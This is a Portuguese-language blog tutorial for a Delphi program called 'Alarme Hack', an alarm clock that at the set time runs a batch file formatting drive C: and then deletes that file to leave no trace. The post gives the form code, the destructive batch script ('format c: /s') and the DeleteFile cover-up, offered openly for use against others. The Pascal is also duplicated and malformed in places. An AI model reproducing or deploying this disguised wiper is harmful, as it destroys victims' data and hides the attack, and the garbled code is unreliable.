Ele é um despertador que executa um arquivo .bat que formata o hd na hora programada sem deixar rastros ^^
Preview de como vai ficar parecido:
Vamos la,vou fazer do jeito que fiz o meu ^^
Por ser um projeto com um numero razoavel de componentes vamos organizar em group box
Coloque 3 Group Box
Renomei-os para:
Horário do Sistema
Alarme
Alarme Hack
Alarme
Alarme Hack
1Label,1 edit e 1 timer
Renomei-e o label renomei-e para Horário Atual
Edit1.Text := TimeToStr(time) ;
No GroupBox Alarme coloque:
1edit,1 label,1 button,1 groupbox e 1 label dentro do group box
Renomei-e o Label externo para:
Ativar Alarme as:
enomei-e para Desativado e mude a cor para vermelho
Renomei-e o button para Começar
E no event onclick coloque:
If Button1.Caption = 'Começar' then
Begin
Button3.Caption := 'Parar';
Label4.Caption := 'Ativado';
Label4.Font.Color := clGreen ;
Timer2.Enabled := true;
else
begin
Button3.Caption := 'Começar' ;
Label4.Caption := 'Desativado';
Label4.Font.Color := clRed ;
Timer2.Enabled := False;
end;
end;
end
Begin
Button3.Caption := 'Parar';
Label4.Caption := 'Ativado';
Label4.Font.Color := clGreen ;
Timer2.Enabled := true;
else
begin
Button3.Caption := 'Começar' ;
Label4.Caption := 'Desativado';
Label4.Font.Color := clRed ;
Timer2.Enabled := False;
end;
end;
end
No groupbox Alarme Hack coloque:
3CheckBox,1edit ambos na plaheta Standart e 1 timer na palheta system
Renomei-e os Check Box para:
Tocar som e Formatar
Mandar Menssagem de Onwed
Formatar HD
Mandar Menssagem de Onwed
Formatar HD
Mandar Menssagem de Onwed coloque:
If CheckBox2.checked = True then Edit3.Enabled := True ;
If CheckBox2.checked = False then Edit3.Enabled := False ;
If CheckBox2.checked = False then Edit3.Enabled := False ;
Declare na uses:
ShellApi
begin
If Edit1.Text = Edit2.Text Then
Begin
If CheckBox1.Checked = True Then
Begin
MCISendString(PChar('play ' + 'owned.wav'), nil, 0, 0);
begin
ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL);
end;
end;
If CheckBox2.Checked = True Then ShowMessage(Edit3.Text);
begin
ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL);
end;
If CheckBox3.Checked = True Then ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL);
End;
end;
If Edit1.Text = Edit2.Text Then
Begin
If CheckBox1.Checked = True Then
Begin
MCISendString(PChar('play ' + 'owned.wav'), nil, 0, 0);
begin
ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL);
end;
end;
If CheckBox2.Checked = True Then ShowMessage(Edit3.Text);
begin
ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL);
end;
If CheckBox3.Checked = True Then ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL);
End;
end;
Explicação:Se o Check Box 1 for ativado tocara o som owned.wav(download no fim do tópico) e executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0
Se o Check box 2 for ativado ele mandará um showmessage com a messagem do edit3 e após executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0
Se o Checkbox 3 for ativado executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0
E como ja disse o local pode ser editado
Vou postar o Script de um bat que formata o HD:
Abra o bloco de notas e coloque:
@echo off
format c: /s
cls
exit
format c: /s
cls
exit
Pode ser usado a opção de deletefile para não deixar rastros:
DeleteFile('C:\Alarme Hack 2.0\Aboult.bat');
Download:
Owned.wav
0 comentários:
Postar um comentário